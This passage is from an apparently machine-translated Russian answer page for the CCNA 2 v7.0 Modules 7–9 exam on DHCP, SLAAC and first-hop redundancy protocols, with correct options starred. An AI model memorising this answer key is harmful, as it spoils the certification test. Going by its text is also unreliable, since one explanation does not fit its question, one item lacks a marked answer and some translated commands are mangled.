GLBP *
VRRPv3
GLBP для IPv6

32.Пул адресов DHCP-сервера настроен на 10.92.71.0/25. Сетевой администратор резервирует для серверов 8 IP-адресов. Сколько IP-адресов осталось в пуле для назначения другим хостам?

122
118 *
119
108
116

Объяснение: Рассчитайте максимальное количество хостов, доступных для значения косой черты, и вычтите требуемые статические IP-адреса, необходимые для устройств.

/ 24 = 254 хоста
/ 25 = 126 хостов
/ 26 = 62 хоста
/ 27 = 30 хостов
/ 28 = 14 хостов

33.Вопрос в представленном виде:

Широковещательное сообщение DHCPDISCOVER находит серверы DHCPv4 в сети.
Когда сервер DHCPv4 получает сообщение DHCPDISCOVER, он резервирует доступный IPv4-адрес для аренды для клиента и отправляет одноадресное сообщение DHCPOFFER запрашивающему клиенту.
Когда клиент получает DHCPOFFER от сервера, он отправляет обратно DHCPREQUEST.
При получении сообщения DHCPREQUEST сервер отвечает одноадресным сообщением DHCPACK.
DHCPREPLY и DHCPINFORMATION-REQUEST — это сообщения DHCPv6.

34. После того, как хост сгенерировал адрес IPv6 с помощью процесса DHCPv6 или SLAAC, как хост проверяет уникальность адреса и, следовательно, его пригодность для использования?

Хост отправляет сообщение эхо-запроса ICMPv6 на адрес, полученный DHCPv6 или SLAAC, и, если ответ не возвращается, адрес считается уникальным.
Хост отправляет сообщение запроса соседа ICMPv6 на адрес, полученный DHCP или SLAAC, и, если объявление соседа не возвращается, адрес считается уникальным.*
Хост проверяет кэш локальных соседей на предмет изученного адреса, и если адрес не кэшируется, он считается уникальным.
Хост отправляет широковещательную рассылку ARP по локальному каналу, и если ни один хост не отправляет ответ, адрес считается уникальным.

Explanation: Прежде чем хост сможет реально настроить и использовать адрес IPv6, полученный через SLAAC или DHCP, хост должен убедиться, что никакой другой хост уже не использует этот адрес. Чтобы убедиться, что адрес действительно уникален, хост отправляет на этот адрес запрос соседа ICMPv6.Если объявление о соседях не возвращается, хост считает адрес уникальным и настраивает его на интерфейсе.

35. Какое утверждение описывает HSRP?

Он используется в группе маршрутизаторов для выбора активного устройства и резервного устройства для предоставления услуг шлюза для локальной сети. *
Он использует ICMP, чтобы позволить узлам IPv4 находить маршрутизаторы, которые обеспечивают подключение IPv4 к удаленным IP-сетям.
В случае отказа мастера виртуального маршрутизатора один маршрутизатор выбирается мастером виртуального маршрутизатора, а другие маршрутизаторы действуют как резервные.
Это открытый стандартный протокол.

Explanation: Это VRRP, который выбирает один маршрутизатор в качестве мастера виртуального маршрутизатора, а другие маршрутизаторы действуют как резервные на случай отказа мастера виртуального маршрутизатора. HSRP — это проприетарный протокол Cisco. IRDP использует сообщения ICMP, чтобы позволить узлам IPv4 находить маршрутизаторы, которые обеспечивают подключение IPv4 к другим (нелокальным) IP-сетям. HSRP выбирает активный и резервный маршрутизаторы для предоставления услуг шлюза хостам в локальной сети.

36. Откройте процесс PT.Выполните задачи, указанные в инструкциях к занятиям, а затем ответьте на вопрос.
Какое ключевое слово отображается на сайте www.netacad.com?

DHCP
коммутатор
Маршрутизатор *
сеть
Cisco
IPv6

Объяснение: Чтобы хост получил адрес DNS-сервера, он должен использовать DHCPv6 без сохранения состояния. Маршрутизатор настроен с правильным пулом DHCPv6, но отсутствует команда ipv6 nd other-config-flag, которая сигнализирует хосту, что он должен использовать DHCPv6 для получения дополнительной информации об адресе.Эту команду нужно добавить в конфигурацию интерфейса Gigabit0 / 0 на маршрутизаторе.

37. Сопоставьте каждый тип сообщения DHCP с его описанием. (Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 37

38. Сопоставьте цель с типом сообщения DHCP. (Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 38

39. Сопоставьте типы сообщений DHCP с порядком выполнения процесса DHCPv6 с отслеживанием состояния, когда клиент впервые подключается к сети IPv6.(Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 39

40. Сопоставьте номер шага с последовательностью стадий, которые происходят во время процесса аварийного переключения HSRP. (Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр.40

41. Сопоставьте протоколы FHRP с соответствующим описанием. (Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 41

42. Сопоставьте типы сообщений DHCP с порядком выполнения процесса DHCPv4.(Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 42

43. Пул адресов DHCP-сервера настроен как 192.168.234.0/27. Сетевой администратор резервирует 22 IP-адреса для IP-телефонов. Сколько IP-адресов осталось в пуле для назначения другим хостам?

10
0
8 *
21
18

Объяснение: Рассчитайте максимальное количество хостов, доступных для значения косой черты, и вычтите требуемые статические IP-адреса, необходимые для устройств.
/24 = 254 хоста
/25 = 126 хостов
/26 = 62 хоста
/27 = 30 хостов
/28 = 14 хостов

44. Компания использует серверы DHCP для динамического назначения адресов IPv4 рабочим станциям сотрудников. Срок аренды адреса составляет 5 дней. Сотрудник возвращается в офис после одной недели отсутствия. Когда сотрудник загружает рабочую станцию, она отправляет сообщение для получения IP-адреса. Какие адреса назначения уровня 2 и уровня 3 будет содержать сообщение?

MAC-адреса и IPv4-адреса DHCP-сервера
FF-FF-FF-FF-FF-FF и IPv4-адрес DHCP-сервера
FF-FF-FF-FF-FF-FF и 255.255.255.255 *
MAC-адрес DHCP-сервера и 255.255.255.255

Объяснение: По истечении срока аренды динамически назначаемого IPv4-адреса рабочая станция отправит сообщение DHCPDISCOVER, чтобы начать процесс получения действительного IP-адреса. Поскольку рабочая станция не знает адресов DHCP-серверов, она отправляет сообщение через широковещательную рассылку с адресами назначения FF-FF-FF-FF-FF-FF и 255.255.255.255.

45. Какая команда позволит администратору сети проверить IP-адрес, назначенный конкретному MAC-адресу?

Router # show running-config I section_dhcp
Router # show ip dhcp server statistics
Router # show ip dhcp binding *
Router # show ip dhcp pool

Объяснение: Команда show ip dhcp binding покажет аренду, включая IP-адреса, MAC-адреса, истечение срока аренды, тип аренды, идентификатор клиента и имя пользователя.

46. По какой причине провайдер обычно назначает DHCP-адрес беспроводному маршрутизатору в среде SOHO?

лучшая производительность сети
лучшая связь
простое управление IP-адресами *
простая настройка на брандмауэре ISP

Объяснение: В среде SOHO беспроводной маршрутизатор подключается к провайдеру через DSL или кабельный модем. IP-адрес между беспроводным маршрутизатором и сайтом провайдера обычно назначается провайдером через DHCP.Этот метод упрощает управление IP-адресацией, поскольку IP-адреса для клиентов назначаются динамически, так что, если клиент отброшен, назначенный IP-адрес можно легко переназначить другому клиенту.

47. Какую информацию можно проверить с помощью команды show ip dhcp binding?

адреса IPv4, которые назначаются хостам сервером DHCP *
сообщения обнаружения DHCPv4 все еще принимаются сервером DHCP
адреса IPv4, которые были исключены из пула DHCPv4
количество IP-адресов, оставшихся в Пул DHCP

Объяснение: Команда show ip dhcp binding показывает список адресов IPv4 и MAC-адреса хостов, которым они назначены.Используя эту информацию, администратор может определить, какие интерфейсы хоста были назначены конкретным хостам.

48. Каков результат выполнения сетевым специалистом команды ip dhcp excluded-address 10.0.15.1 10.0.15.15 на маршрутизаторе Cisco?

Маршрутизатор Cisco исключит из аренды клиентам DHCP только IP-адреса 10.0.15.1 и 10.0.15.15.
Маршрутизатор Cisco исключит 15 IP-адресов из аренды для клиентов DHCP. *
Маршрутизатор Cisco автоматически создаст пул DHCP с использованием маски / 28.
Маршрутизатор Cisco позволяет сдавать в аренду клиентам только указанные IP-адреса.

Объяснение: За командой ip dhcp excluded-address следует первый и последний адреса, которые нужно исключить из аренды клиентам DHCP.

49. Сопоставьте описания с соответствующим типом DHCPv6-сервера. (Не все варианты используются.)

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 49

50. См. Выставку.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен p50

На основании показанных выходных данных, какой тип адресации IPv6 настраивается?

DHCPv6 без сохранения состояния *
SLAAC
статический локальный канал
DHCPv6 с сохранением состояния

Объяснение: Пулы DHCPv6 с отслеживанием состояния настроены с использованием префиксов адресов для хостов с помощью команды address, тогда как пулы DHCPv6 без отслеживания состояния обычно содержат только такую ​​информацию, как адреса DNS-серверов и имя домена.Сообщения RA, отправляемые маршрутизаторами, которые настроены как серверы DHCPv6 с отслеживанием состояния, имеют флаг M, установленный на 1 с помощью команды ipv6 nd managed-config-flag, тогда как серверы DHCPv6 без состояния указываются путем установки флага O на 1 с ipv6 nd other -config-flag команда.

51. Какая реализация FHRP является проприетарным протоколом Cisco, который поддерживает балансировку нагрузки IPv6?

GLBP
GLBP для IPv6
VRRPv3
VRRPv2

52. Какой набор команд настроит маршрутизатор как DHCP-сервер, который будет назначать адреса IPv4 для 192.168.100.0 / 23 LAN при сохранении первых 10 и последних адресов для статического назначения?

ip dhcp excluded-address 192.168.100.1 192.168.100.9
ip dhcp excluded-address 192.168.101.254
ip dhcp pool LAN-POOL-100
ip-сеть 192.168.100.0 255.255.254.0
ip-шлюз по умолчанию 192.168.100.1

пул dhcp LAN-POOL-100
ip dhcp excluded-address 192.168.100.1 192.168.100.9
ip dhcp excluded-address 192.168.100.254
сеть 192.168.100.0 255.255.255.254.0
маршрутизатор по умолчанию 192.168.101.1

ip dhcp excluded-address 192.168.100.1 192.168.100.10
ip dhcp excluded-address 192.168.100.254
ip dhcp pool LAN-POOL-100
сеть 192.168.100.0 255.255.255.0
ip-шлюз по умолчанию 192.168.100.1

ip dhcp excluded-address 192.168.100.1 192.168.100.10
ip dhcp excluded-address 192.168.101.254
ip dhcp pool LAN-POOL-100
сеть 192.168.100.0 255.255.254.0
маршрутизатор по умолчанию 192.168.100.1 *****

Объяснение: Префикс / 23 эквивалентен маске сети 255.255.254.0. Диапазон IPv4-адресов, доступных для использования в сети, составляет от 192.168.100.1 до 192.168.101.254 включительно. Команды dhcp pool, ip default-gateway и ip network не являются допустимыми командами конфигурации DHCP.

53. Что происходит, когда серверы DHCP не работают в сети?

Рабочим станциям назначается IP-адрес 127.0.0.1.
Рабочим станциям присваиваются IP-адреса в сети 10.0.0.0/8.
Рабочим станциям назначаются IP-адреса в сети 169.254.0.0/16. *
Рабочим станциям назначается IP-адрес 0.0.0.0.

Объяснение: Когда рабочие станции настроены на автоматическое получение IP-адреса, но серверы DHCP недоступны для ответа на запросы, рабочая станция может назначить себе IP-адреса из сети 169.254.0.0/16.

54.Компания использует метод SLAAC для настройки адресов IPv6 для рабочих станций своих сотрудников. Сетевой администратор настроил IPv6-адрес на LAN-интерфейсе маршрутизатора. Статус интерфейса — ВВЕРХ. Однако рабочие станции в сегменте LAN не получили правильный префикс и длину префикса. Что еще необходимо настроить на маршрутизаторе, подключенном к сегменту LAN, чтобы рабочие станции получали информацию?

R1 (config) # ipv6 dhcp pool
R1 (config-if) # ipv6 enable
R1 (config) # ipv6 unicast-routing *
R1 (config-if) # ipv6 nd other-config-flag

Объяснение: ПК, настроенный на использование метода SLAAC, получает префикс IPv6 и длину префикса от маршрутизатора.Когда компьютер загружается, он отправляет сообщение RS, чтобы сообщить маршрутизаторам, что ему нужна информация. Маршрутизатор отправляет сообщение RA, которое включает требуемую информацию. Чтобы маршрутизатор мог отправлять сообщения RA, он должен быть включен как маршрутизатор IPv6 с помощью команды unicast ipv6-routing в режиме глобальной конфигурации. Остальные параметры не используются для включения маршрутизации IPv6 на маршрутизаторе.

55. Какая реализация FHRP является непатентованным протоколом, который полагается на ICMP для обеспечения избыточности IPv4?

VRRPv3
GLBP для IPv6
IRDP *
GLBP

56.Обратитесь к выставке.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен p56

ПК-A не может получить адрес IPv6 от сервера DHCPv6 с отслеживанием состояния. В чем проблема?

К интерфейсу Gig0 / 0 следует применить команду ipv6 dhcp relay. *
Флаг ipv6 nd managed-config-flag должен применяться к интерфейсу Gig0 / 1.
Команда ipv6 dhcp relay должна использовать локальный адрес канала DHCP-сервера.
Команда ipv6 nd managed-config-flag должна быть ipv6 nd other-config-flag.

57. См. Выставку.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 57

Сетевой администратор настраивает маршрутизатор как сервер DHCPv6. Администратор выдает команду show ipv6 dhcp pool для проверки конфигурации. Какое утверждение объясняет причину, по которой количество активных клиентов равно 0?

Адрес шлюза по умолчанию не указан в пуле.
Ни один клиент еще не связался с сервером DHCPv6.
В конфигурации пула DHCP IPv6 не указан диапазон адресов IPv6.
Это состояние не поддерживается сервером DHCPv6 в режиме DHCPv6 без сохранения состояния. *

Объяснение:
В конфигурации DHCPv6 без сохранения состояния, указанной командой ipv6 nd other-config-flag, сервер DHCPv6 не поддерживает информацию о состоянии, поскольку IPv6-адреса клиентов не управляются DHCP-сервером. Поскольку клиенты будут настраивать свои IPv6-адреса, комбинируя длину префикса / префикса и самостоятельно созданный идентификатор интерфейса, в конфигурации пула ipv6 dhcp не требуется указывать допустимый диапазон IPv6-адресов.И поскольку клиенты будут использовать локальный для канала адрес интерфейса маршрутизатора в качестве адреса шлюза по умолчанию, адрес шлюза по умолчанию не нужен.

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *